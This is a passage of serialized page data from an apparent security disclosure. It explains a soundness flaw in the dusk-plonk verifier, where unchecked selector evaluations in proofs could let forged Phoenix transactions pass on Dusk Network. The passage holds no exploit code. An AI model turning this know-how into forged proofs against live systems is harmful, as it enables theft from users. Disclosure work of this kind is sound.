92],{"type":27,"value":980},{"type":22,"tag":101,"props":148194,"children":148196},{"className":148195,"style":117111},[8053,25575],[148197],{"type":27,"value":117114},{"type":22,"tag":101,"props":148199,"children":148201},{"className":148200},[25726],[148202],{"type":27,"value":2261},{"type":27,"value":758},{"type":22,"tag":30,"props":148205,"children":148207},{"className":148206},[8026,8027],[148208],{"type":22,"tag":101,"props":148209,"children":148211},{"className":148210},[8032],[148212],{"type":22,"tag":101,"props":148213,"children":148215},{"className":148214,"ariaHidden":5608},[8037],[148216],{"type":22,"tag":101,"props":148217,"children":148219},{"className":148218},[8042],[148220,148224,148229,148234,148239,148245],{"type":22,"tag":101,"props":148221,"children":148223},{"className":148222,"style":8154},[8047],[],{"type":22,"tag":101,"props":148225,"children":148227},{"className":148226},[8053,25575],[148228],{"type":27,"value":80},{"type":22,"tag":101,"props":148230,"children":148232},{"className":148231},[25704],[148233],{"type":27,"value":980},{"type":22,"tag":101,"props":148235,"children":148237},{"className":148236,"style":117111},[8053,25575],[148238],{"type":27,"value":117114},{"type":22,"tag":101,"props":148240,"children":148242},{"className":148241,"style":97040},[8053,25575],[148243],{"type":27,"value":148244},"ω",{"type":22,"tag":101,"props":148246,"children":148248},{"className":148247},[25726],[148249],{"type":27,"value":2261},{"type":27,"value":148251},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":22,"tag":30,"props":148253,"children":148255},{"className":148254},[8026,8027],[148256],{"type":22,"tag":101,"props":148257,"children":148259},{"className":148258},[8032],[148260],{"type":22,"tag":101,"props":148261,"children":148263},{"className":148262,"ariaHidden":5608},[8037],[148264],{"type":22,"tag":101,"props":148265,"children":148267},{"className":148266},[8042],[148268,148272,148277,148334],{"type":22,"tag":101,"props":148269,"children":148271},{"className":148270,"style":8154},[8047],[],{"type":22,"tag":101,"props":148273,"children":148275},{"className":148274},[25704],[148276],{"type":27,"value":2414},{"type":22,"tag":101,"props":148278,"children":148280},{"className":148279},[8053],[148281,148286],{"type":22,"tag":101,"props":148282,"children":148284},{"className":148283,"style":97040},[8053,25575],[148285],{"type":27,"value":97043},{"type":22,"tag":101,"props":148287,"children":148289},{"className":148288},[8069],[148290],{"type":22,"tag":101,"props":148291,"children":148293},{"className":148292},[8074,25629],[148294,148323],{"type":22,"tag":101,"props":148295,"children":148297},{"className":148296},[8079],[148298,148318],{"type":22,"tag":101,"props":148299,"children":148301},{"className":148300,"style":146109},[8084],[148302],{"type":22,"tag":101,"props":148303,"children":148304},{"style":97087},[148305,148309],{"type":22,"tag":101,"props":148306,"children":148308},{"className":148307,"style":8094},[8093],[],{"type":22,"tag":101,"props":148310,"children":148312},{"className":148311},[8099,8100,8101,8102],[148313],{"type":22,"tag":101,"props":148314,"children":148316},{"className":148315,"style":98562},[8053,25575,8102],[148317],{"type":27,"value":98565},{"type":22,"tag":101,"props":148319,"children":148321},{"className":148320},[25732],[148322],{"type":27,"value":25735},{"type":22,"tag":101,"props":148324,"children":148326},{"className":148325},[8079],[148327],{"type":22,"tag":101,"props":148328,"children":148330},{"className":148329,"style":96637},[8084],[148331],{"type":22,"tag":101,"props":148332,"children":148333},{},[],{"type":22,"tag":101,"props":148335,"children":148337},{"className":148336},[25726],[148338],{"type":27,"value":19412},{"type":27,"value":758},{"type":22,"tag":30,"props":148341,"children":148343},{"className":148342},[8026,8027],[148344],{"type":22,"tag":101,"props":148345,"children":148347},{"className":148346},[8032],[148348],{"type":22,"tag":101,"props":148349,"children":148351},{"className":148350,"ariaHidden":5608},[8037],[148352],{"type":22,"tag":101,"props":148353,"children":148355},{"className":148354},[8042],[148356,148360,148365,148422],{"type":22,"tag":101,"props":148357,"children":148359},{"className":148358,"style":8154},[8047],[],{"type":22,"tag":101,"props":148361,"children":148363},{"className":148362},[25704],[148364],{"type":27,"value":2414},{"type":22,"tag":101,"props":148366,"children":148368},{"className":148367},[8053],[148369,148374],{"type":22,"tag":101,"props":148370,"children":148372},{"className":148371,"style":97040},[8053,25575],[148373],{"type":27,"value":97043},{"type":22,"tag":101,"props":148375,"children":148377},{"className":148376},[8069],[148378],{"type":22,"tag":101,"props":148379,"children":148381},{"className":148380},[8074,25629],[148382,148411],{"type":22,"tag":101,"props":148383,"children":148385},{"className":148384},[8079],[148386,148406],{"type":22,"tag":101,"props":148387,"children":148389},{"className":148388,"style":146109},[8084],[148390],{"type":22,"tag":101,"props":148391,"children":148392},{"style":97087},[148393,148397],{"type":22,"tag":101,"props":148394,"children":148396},{"className":148395,"style":8094},[8093],[],{"type":22,"tag":101,"props":148398,"children":148400},{"className":148399},[8099,8100,8101,8102],[148401],{"type":22,"tag":101,"props":148402,"children":148404},{"className":148403,"style":96554},[8053,25575,8102],[148405],{"type":27,"value":118873},{"type":22,"tag":101,"props":148407,"children":148409},{"className":148408},[25732],[148410],{"type":27,"value":25735},{"type":22,"tag":101,"props":148412,"children":148414},{"className":148413},[8079],[148415],{"type":22,"tag":101,"props":148416,"children":148418},{"className":148417,"style":96637},[8084],[148419],{"type":22,"tag":101,"props":148420,"children":148421},{},[],{"type":22,"tag":101,"props":148423,"children":148425},{"className":148424},[25726],[148426],{"type":27,"value":19412},{"type":27,"value":758},{"type":22,"tag":30,"props":148429,"children":148431},{"className":148430},[8026,8027],[148432],{"type":22,"tag":101,"props":148433,"children":148435},{"className":148434},[8032],[148436],{"type":22,"tag":101,"props":148437,"children":148439},{"className":148438,"ariaHidden":5608},[8037],[148440],{"type":22,"tag":101,"props":148441,"children":148443},{"className":148442},[8042],[148444,148448,148453,148510],{"type":22,"tag":101,"props":148445,"children":148447},{"className":148446,"style":8154},[8047],[],{"type":22,"tag":101,"props":148449,"children":148451},{"className":148450},[25704],[148452],{"type":27,"value":2414},{"type":22,"tag":101,"props":148454,"children":148456},{"className":148455},[8053],[148457,148462],{"type":22,"tag":101,"props":148458,"children":148460},{"className":148459,"style":97040},[8053,25575],[148461],{"type":27,"value":148139},{"type":22,"tag":101,"props":148463,"children":148465},{"className":148464},[8069],[148466],{"type":22,"tag":101,"props":148467,"children":148469},{"className":148468},[8074,25629],[148470,148499],{"type":22,"tag":101,"props":148471,"children":148473},{"className":148472},[8079],[148474,148494],{"type":22,"tag":101,"props":148475,"children":148477},{"className":148476,"style":96606},[8084],[148478],{"type":22,"tag":101,"props":148479,"children":148480},{"style":97087},[148481,148485],{"type":22,"tag":101,"props":148482,"children":148484},{"className":148483,"style":8094},[8093],[],{"type":22,"tag":101,"props":148486,"children":148488},{"className":148487},[8099,8100,8101,8102],[148489],{"type":22,"tag":101,"props":148490,"children":148492},{"className":148491},[8053,8102],[148493],{"type":27,"value":21526},{"type":22,"tag":101,"props":148495,"children":148497},{"className":148496},[25732],[148498],{"type":27,"value":25735},{"type":22,"tag":101,"props":148500,"children":148502},{"className":148501},[8079],[148503],{"type":22,"tag":101,"props":148504,"children":148506},{"className":148505,"style":96637},[8084],[148507],{"type":22,"tag":101,"props":148508,"children":148509},{},[],{"type":22,"tag":101,"props":148511,"children":148513},{"className":148512},[25726],[148514],{"type":27,"value":19412},{"type":27,"value":148516},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":22,"tag":23,"props":148518,"children":148519},{},[148520],{"type":27,"value":148521},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":22,"tag":1398,"props":148523,"children":148524},{},[],{"type":22,"tag":53,"props":148526,"children":148528},{"id":148527},"where-dusk-plonk-differs-from-textbook-plonk",[148529],{"type":27,"value":148530},"Where dusk-plonk differs from textbook PLONK",{"type":22,"tag":23,"props":148532,"children":148533},{},[148534,148543,148545,148550,148552,148582],{"type":22,"tag":80,"props":148535,"children":148537},{"href":145409,"rel":148536},[84],[148538],{"type":22,"tag":30,"props":148539,"children":148541},{"className":148540},[],[148542],{"type":27,"value":145413},{"type":27,"value":148544}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":22,"tag":30,"props":148546,"children":148548},{"className":148547},[],[148549],{"type":27,"value":74069},{"type":27,"value":148551},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":22,"tag":30,"props":148553,"children":148555},{"className":148554},[8026,8027],[148556],{"type":22,"tag":101,"props":148557,"children":148559},{"className":148558},[8032],[148560],{"type":22,"tag":101,"props":148561,"children":148563},{"className":148562,"ariaHidden":5608},[8037],[148564],{"type":22,"tag":101,"props":148565,"children":148567},{"className":148566},[8042],[148568,148572,148577],{"type":22,"tag":101,"props":148569,"children":148571},{"className":148570,"style":114395},[8047],[],{"type":22,"tag":101,"props":148573,"children":148575},{"className":148574,"style":117111},[8053,25575],[148576],{"type":27,"value":117114},{"type":22,"tag":101,"props":148578,"children":148580},{"className":148579,"style":97040},[8053,25575],[148581],{"type":27,"value":148244},{"type":27,"value":148583},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":22,"tag":23,"props":148585,"children":148586},{},[148587,148589,148594,148595,148600,148602,148608,148610,148617],{"type":27,"value":148588},"The important part for this bug is the boundary between ",{"type":22,"tag":9370,"props":148590,"children":148591},{},[148592],{"type":27,"value":148593},"public circuit data",{"type":27,"value":209},{"type":22,"tag":9370,"props":148596,"children":148597},{},[148598],{"type":27,"value":148599},"prover claims about that data at the random challenge point",{"type":27,"value":148601},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":22,"tag":30,"props":148603,"children":148605},{"className":148604},[],[148606],{"type":27,"value":148607},"Ql, Qr, Qm, Qo, Qk",{"type":27,"value":148609}," directly into the ",{"type":22,"tag":80,"props":148611,"children":148614},{"href":148612,"rel":148613},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[84],[148615],{"type":27,"value":148616},"linearization multi-scalar multiplication",{"type":27,"value":148618},", ensuring their values are cryptographically bound by construction.",{"type":22,"tag":23,"props":148620,"children":148621},{},[148622,148624,148649],{"type":27,"value":148623},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":22,"tag":30,"props":148625,"children":148627},{"className":148626},[8026,8027],[148628],{"type":22,"tag":101,"props":148629,"children":148631},{"className":148630},[8032],[148632],{"type":22,"tag":101,"props":148633,"children":148635},{"className":148634,"ariaHidden":5608},[8037],[148636],{"type":22,"tag":101,"props":148637,"children":148639},{"className":148638},[8042],[148640,148644],{"type":22,"tag":101,"props":148641,"children":148643},{"className":148642,"style":114395},[8047],[],{"type":22,"tag":101,"props":148645,"children":148647},{"className":148646,"style":117111},[8053,25575],[148648],{"type":27,"value":117114},{"type":27,"value":148650}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":22,"tag":23,"props":148652,"children":148653},{},[148654],{"type":27,"value":148655},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":22,"tag":148657,"props":148658,"children":148659},"dusk-verifier-dependence-graph",{},[],{"type":22,"tag":1398,"props":148661,"children":148662},{},[],{"type":22,"tag":53,"props":148664,"children":148666},{"id":148665},"how-dusk-uses-plonk",[148667],{"type":27,"value":148668},"How Dusk uses PLONK",{"type":22,"tag":23,"props":148670,"children":148671},{},[148672,148678],{"type":22,"tag":80,"props":148673,"children":148675},{"href":145418,"rel":148674},[84],[148676],{"type":27,"value":148677},"Dusk Network",{"type":27,"value":148679}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":22,"tag":6839,"props":148681,"children":148682},{},[148683,148688],{"type":22,"tag":6832,"props":148684,"children":148685},{},[148686],{"type":27,"value":148687},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":22,"tag":6832,"props":148689,"children":148690},{},[148691],{"type":27,"value":148692},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":22,"tag":23,"props":148694,"children":148695},{},[148696,148698,148709,148711,148722],{"type":27,"value":148697},"At node level, every ",{"type":22,"tag":80,"props":148699,"children":148702},{"href":148700,"rel":148701},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[84],[148703],{"type":22,"tag":30,"props":148704,"children":148706},{"className":148705},[],[148707],{"type":27,"value":148708},"ProtocolTransaction::Phoenix",{"type":27,"value":148710}," goes through ",{"type":22,"tag":80,"props":148712,"children":148715},{"href":148713,"rel":148714},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[84],[148716],{"type":22,"tag":30,"props":148717,"children":148719},{"className":148718},[],[148720],{"type":27,"value":148721},"verify_proof_with_version()",{"type":27,"value":148723}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":22,"tag":23,"props":148725,"children":148726},{},[148727,148729,148740,148742,148753,148754,148765,148766,148777,148778,148789],{"type":27,"value":148728},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":22,"tag":80,"props":148730,"children":148733},{"href":148731,"rel":148732},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[84],[148734],{"type":22,"tag":30,"props":148735,"children":148737},{"className":148736},[],[148738],{"type":27,"value":148739},"phoenix()",{"type":27,"value":148741},", for example in ",{"type":22,"tag":80,"props":148743,"children":148746},{"href":148744,"rel":148745},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[84],[148747],{"type":22,"tag":30,"props":148748,"children":148750},{"className":148749},[],[148751],{"type":27,"value":148752},"phoenix_stake()",{"type":27,"value":758},{"type":22,"tag":80,"props":148755,"children":148758},{"href":148756,"rel":148757},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[84],[148759],{"type":22,"tag":30,"props":148760,"children":148762},{"className":148761},[],[148763],{"type":27,"value":148764},"phoenix_stake_reward()",{"type":27,"value":758},{"type":22,"tag":80,"props":148767,"children":148770},{"href":148768,"rel":148769},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[84],[148771],{"type":22,"tag":30,"props":148772,"children":148774},{"className":148773},[],[148775],{"type":27,"value":148776},"phoenix_unstake()",{"type":27,"value":10515},{"type":22,"tag":80,"props":148779,"children":148782},{"href":148780,"rel":148781},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[84],[148783],{"type":22,"tag":30,"props":148784,"children":148786},{"className":148785},[],[148787],{"type":27,"value":148788},"phoenix_to_moonlight()",{"type":27,"value":148790},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":22,"tag":23,"props":148792,"children":148793},{},[148794],{"type":22,"tag":7959,"props":148795,"children":148798},{"alt":148796,"src":148797},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":22,"tag":23,"props":148800,"children":148801},{},[148802,148804,148810,148812,148819],{"type":27,"value":148803},"The PLONK implementation, ",{"type":22,"tag":80,"props":148805,"children":148808},{"href":148806,"rel":148807},"https://github.com/dusk-network/plonk",[84],[148809],{"type":27,"value":145413},{"type":27,"value":148811},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":22,"tag":80,"props":148813,"children":148816},{"href":148814,"rel":148815},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[84],[148817],{"type":27,"value":148818},"the original paper",{"type":27,"value":148820}," was released.",{"type":22,"tag":23,"props":148822,"children":148823},{},[148824,148826,148832],{"type":27,"value":148825},"The Phoenix transaction PLONK circuit is defined ",{"type":22,"tag":80,"props":148827,"children":148830},{"href":148828,"rel":148829},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[84],[148831],{"type":27,"value":51581},{"type":27,"value":148833},". The circuit enforces the following set of constraints:",{"type":22,"tag":59741,"props":148835,"children":148836},{},[148837,148853],{"type":22,"tag":126505,"props":148838,"children":148839},{},[148840],{"type":22,"tag":126509,"props":148841,"children":148842},{},[148843,148848],{"type":22,"tag":126513,"props":148844,"children":148845},{},[148846],{"type":27,"value":148847},"Circuit check",{"type":22,"tag":126513,"props":148849,"children":148850},{},[148851],{"type":27,"value":148852},"Statement being checked",{"type":22,"tag":126533,"props":148854,"children":148855},{},[148856,148874,148892,148910,148928,149085,149225,149243],{"type":22,"tag":126509,"props":148857,"children":148858},{},[148859,148869],{"type":22,"tag":126540,"props":148860,"children":148861},{},[148862],{"type":22,"tag":80,"props":148863,"children":148866},{"href":148864,"rel":148865},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[84],[148867],{"type":27,"value":148868},"Merkle tree membership",{"type":22,"tag":126540,"props":148870,"children":148871},{},[148872],{"type":27,"value":148873},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":22,"tag":126509,"props":148875,"children":148876},{},[148877,148887],{"type":22,"tag":126540,"props":148878,"children":148879},{},[148880],{"type":22,"tag":80,"props":148881,"children":148884},{"href":148882,"rel":148883},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[84],[148885],{"type":27,"value":148886},"Input-note secret-key authorization",{"type":22,"tag":126540,"props":148888,"children":148889},{},[148890],{"type":27,"value":148891},"The prover knows the secret key controlling each input note",{"type":22,"tag":126509,"props":148893,"children":148894},{},[148895,148905],{"type":22,"tag":126540,"props":148896,"children":148897},{},[148898],{"type":22,"tag":80,"props":148899,"children":148902},{"href":148900,"rel":148901},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[84],[148903],{"type":27,"value":148904},"Nullifier correctness",{"type":22,"tag":126540,"props":148906,"children":148907},{},[148908],{"type":27,"value":148909},"Each nullifier matches the corresponding note key and position",{"type":22,"tag":126509,"props":148911,"children":148912},{},[148913,148923],{"type":22,"tag":126540,"props":148914,"children":148915},{},[148916],{"type":22,"tag":80,"props":148917,"children":148920},{"href":148918,"rel":148919},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[84],[148921],{"type":27,"value":148922},"Output value commitment correctness",{"type":22,"tag":126540,"props":148924,"children":148925},{},[148926],{"type":27,"value":148927},"Each public output commitment matches the secret output value and blinder",{"type":22,"tag":126509,"props":148929,"children":148930},{},[148931,148941],{"type":22,"tag":126540,"props":148932,"children":148933},{},[148934],{"type":22,"tag":80,"props":148935,"children":148938},{"href":148936,"rel":148937},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[84],[148939],{"type":27,"value":148940},"Balance integrity",{"type":22,"tag":126540,"props":148942,"children":148943},{},[148944],{"type":22,"tag":30,"props":148945,"children":148947},{"className":148946},[8026,8027],[148948],{"type":22,"tag":101,"props":148949,"children":148951},{"className":148950},[8032],[148952],{"type":22,"tag":101,"props":148953,"children":148955},{"className":148954,"ariaHidden":5608},[8037],[148956,148996,149036,149068],{"type":22,"tag":101,"props":148957,"children":148959},{"className":148958},[8042],[148960,148964,148969,148973,148983,148987,148992],{"type":22,"tag":101,"props":148961,"children":148963},{"className":148962,"style":8154},[8047],[],{"type":22,"tag":101,"props":148965,"children":148967},{"className":148966,"style":25618},[25611,25616,25617],[148968],{"type":27,"value":112349},{"type":22,"tag":101,"props":148970,"children":148972},{"className":148971,"style":8172},[8133],[],{"type":22,"tag":101,"props":148974,"children":148976},{"className":148975},[8053,27],[148977],{"type":22,"tag":101,"props":148978,"children":148980},{"className":148979},[8053],[148981],{"type":27,"value":148982},"inputs",{"type":22,"tag":101,"props":148984,"children":148986},{"className":148985,"style":8231},[8133],[],{"type":22,"tag":101,"props":148988,"children":148990},{"className":148989},[8236],[148991],{"type":27,"value":1511},{"type":22,"tag":101,"props":148993,"children":148995},{"className":148994,"style":8231},[8133],[],{"type":22,"tag":101,"props":148997,"children":148999},{"className":148998},[8042],[149000,149004,149009,149013,149023,149027,149032],{"type":22,"tag":101,"props":149001,"children":149003},{"className":149002,"style":8154},[8047],[],{"type":22,"tag":101,"props":149005,"children":149007},{"className":149006,"style":25618},[25611,25616,25617],[149008],{"type":27,"value":112349},{"type":22,"tag":101,"props":149010,"children":149012},{"className":149011,"style":8172},[8133],[],{"type":22,"tag":101,"props":149014,"children":149016},{"className":149015},[8053,27],[149017],{"type":22,"tag":101,"props":149018,"children":149020},{"className":149019},[8053],[149021],{"type":27,"value":149022},"outputs",{"type":22,"tag":101,"props":149024,"children":149026},{"className":149025,"style":8134},[8133],[],{"type":22,"tag":101,"props":149028,"children":149030},{"className":149029},[8139],[149031],{"type":27,"value":8426},{"type":22,"tag":101,"props":149033,"children":149035},{"className":149034,"style":8134},[8133],[],{"type":22,"tag":101,"props":149037,"children":149039},{"className":149038},[8042],[149040,149045,149055,149059,149064],{"type":22,"tag":101,"props":149041,"children":149044},{"className":149042,"style":149043},[8047],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":22,"tag":101,"props":149046,"children":149048},{"className":149047},[8053,27],[149049],{"type":22,"tag":101,"props":149050,"children":149052},{"className":149051},[8053],[149053],{"type":27,"value":149054},"fee",{"type":22,"tag":101,"props":149056,"children":149058},{"className":149057,"style":8134},[8133],[],{"type":22,"tag":101,"props":149060,"children":149062},{"className":149061},[8139],[149063],{"type":27,"value":8426},{"type":22,"tag":101,"props":149065,"children":149067},{"className":149066,"style":8134},[8133],[],{"type":22,"tag":101,"props":149069,"children":149071},{"className":149070},[8042],[149072,149076],{"type":22,"tag":101,"props":149073,"children":149075},{"className":149074,"style":118609},[8047],[],{"type":22,"tag":101,"props":149077,"children":149079},{"className":149078},[8053,27],[149080],{"type":22,"tag":101,"props":149081,"children":149083},{"className":149082},[8053],[149084],{"type":27,"value":1133},{"type":22,"tag":126509,"props":149086,"children":149087},{},[149088,149105],{"type":22,"tag":126540,"props":149089,"children":149090},{},[149091,149098,149099],{"type":22,"tag":80,"props":149092,"children":149095},{"href":149093,"rel":149094},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[84],[149096],{"type":27,"value":149097},"Range checks on inputs",{"type":27,"value":209},{"type":22,"tag":80,"props":149100,"children":149103},{"href":149101,"rel":149102},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[84],[149104],{"type":27,"value":149022},{"type":22,"tag":126540,"props":149106,"children":149107},{},[149108,149110],{"type":27,"value":149109},"All note values lie in ",{"type":22,"tag":30,"props":149111,"children":149113},{"className":149112},[8026,8027],[149114],{"type":22,"tag":101,"props":149115,"children":149117},{"className":149116},[8032],[149118],{"type":22,"tag":101,"props":149119,"children":149121},{"className":149120,"ariaHidden":5608},[8037],[149122,149207],{"type":22,"tag":101,"props":149123,"children":149125},{"className":149124},[8042],[149126,149130,149135,149140,149145,149149,149194,149198,149203],{"type":22,"tag":101,"props":149127,"children":149129},{"className":149128,"style":118866},[8047],[],{"type":22,"tag":101,"props":149131,"children":149133},{"className":149132},[25704],[149134],{"type":27,"value":2414},{"type":22,"tag":101,"props":149136,"children":149138},{"className":149137},[8053],[149139],{"type":27,"value":8065},{"type":22,"tag":101,"props":149141,"children":149143},{"className":149142},[8165],[149144],{"type":27,"value":8168},{"type":22,"tag":101,"props":149146,"children":149148},{"className":149147,"style":8172},[8133],[],{"type":22,"tag":101,"props":149150,"children":149152},{"className":149151},[8053],[149153,149158],{"type":22,"tag":101,"props":149154,"children":149156},{"className":149155},[8053],[149157],{"type":27,"value":7164},{"type":22,"tag":101,"props":149159,"children":149161},{"className":149160},[8069],[149162],{"type":22,"tag":101,"props":149163,"children":149165},{"className":149164},[8074],[149166],{"type":22,"tag":101,"props":149167,"children":149169},{"className":149168},[8079],[149170],{"type":22,"tag":101,"props":149171,"children":149173},{"className":149172,"style":8048},[8084],[149174],{"type":22,"tag":101,"props":149175,"children":149176},{"style":8088},[149177,149181],{"type":22,"tag":101,"props":149178,"children":149180},{"className":149179,"style":8094},[8093],[],{"type":22,"tag":101,"props":149182,"children":149184},{"className":149183},[8099,8100,8101,8102],[149185],{"type":22,"tag":101,"props":149186,"children":149188},{"className":149187},[8053,8102],[149189],{"type":22,"tag":101,"props":149190,"children":149192},{"className":149191},[8053,8102],[149193],{"type":27,"value":33421},{"type":22,"tag":101,"props":149195,"children":149197},{"className":149196,"style":8134},[8133],[],{"type":22,"tag":101,"props":149199,"children":149201},{"className":149200},[8139],[149202],{"type":27,"value":8113},{"type":22,"tag":101,"props":149204,"children":149206},{"className":149205,"style":8134},[8133],[],{"type":22,"tag":101,"props":149208,"children":149210},{"className":149209},[8042],[149211,149215,149220],{"type":22,"tag":101,"props":149212,"children":149214},{"className":149213,"style":8154},[8047],[],{"type":22,"tag":101,"props":149216,"children":149218},{"className":149217},[8053],[149219],{"type":27,"value":6813},{"type":22,"tag":101,"props":149221,"children":149223},{"className":149222},[25726],[149224],{"type":27,"value":19412},{"type":22,"tag":126509,"props":149226,"children":149227},{},[149228,149238],{"type":22,"tag":126540,"props":149229,"children":149230},{},[149231],{"type":22,"tag":80,"props":149232,"children":149235},{"href":149233,"rel":149234},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[84],[149236],{"type":27,"value":149237},"Sender-authorship signatures",{"type":22,"tag":126540,"props":149239,"children":149240},{},[149241],{"type":27,"value":149242},"The transaction payload is signed by the sender's two signing key components",{"type":22,"tag":126509,"props":149244,"children":149245},{},[149246,149256],{"type":22,"tag":126540,"props":149247,"children":149248},{},[149249],{"type":22,"tag":80,"props":149250,"children":149253},{"href":149251,"rel":149252},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[84],[149254],{"type":27,"value":149255},"Sender encryption correctness",{"type":22,"tag":126540,"props":149257,"children":149258},{},[149259],{"type":27,"value":149260},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":22,"tag":23,"props":149262,"children":149263},{},[149264,149266,149272,149274,149283],{"type":27,"value":149265},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":22,"tag":30,"props":149267,"children":149269},{"className":149268},[],[149270],{"type":27,"value":149271},"tx.public_inputs()",{"type":27,"value":149273}," via ",{"type":22,"tag":80,"props":149275,"children":149277},{"href":148713,"rel":149276},[84],[149278],{"type":22,"tag":30,"props":149279,"children":149281},{"className":149280},[],[149282],{"type":27,"value":148721},{"type":27,"value":231},{"type":22,"tag":23,"props":149285,"children":149286},{},[149287],{"type":27,"value":149288},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":22,"tag":1398,"props":149290,"children":149291},{},[],{"type":22,"tag":53,"props":149293,"children":149294},{"id":93808},[149295],{"type":27,"value":149296},"The bug",{"type":22,"tag":23,"props":149298,"children":149299},{},[149300,149302,149309,149311,149322],{"type":27,"value":149301},"In the ",{"type":22,"tag":80,"props":149303,"children":149306},{"href":149304,"rel":149305},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[84],[149307],{"type":27,"value":149308},"PLONK verification",{"type":27,"value":149310},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":22,"tag":80,"props":149312,"children":149315},{"href":149313,"rel":149314},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[84],[149316],{"type":22,"tag":30,"props":149317,"children":149319},{"className":149318},[],[149320],{"type":27,"value":149321},"E_evals",{"type":27,"value":149323},") are:",{"type":22,"tag":6839,"props":149325,"children":149326},{},[149327,149359,149384,149409],{"type":22,"tag":6832,"props":149328,"children":149329},{},[149330,149336,149337,149343,149344,149350,149351,149357],{"type":22,"tag":30,"props":149331,"children":149333},{"className":149332},[],[149334],{"type":27,"value":149335},"a_eval",{"type":27,"value":758},{"type":22,"tag":30,"props":149338,"children":149340},{"className":149339},[],[149341],{"type":27,"value":149342},"b_eval",{"type":27,"value":758},{"type":22,"tag":30,"props":149345,"children":149347},{"className":149346},[],[149348],{"type":27,"value":149349},"c_eval",{"type":27,"value":758},{"type":22,"tag":30,"props":149352,"children":149354},{"className":149353},[],[149355],{"type":27,"value":149356},"d_eval",{"type":27,"value":149358}," 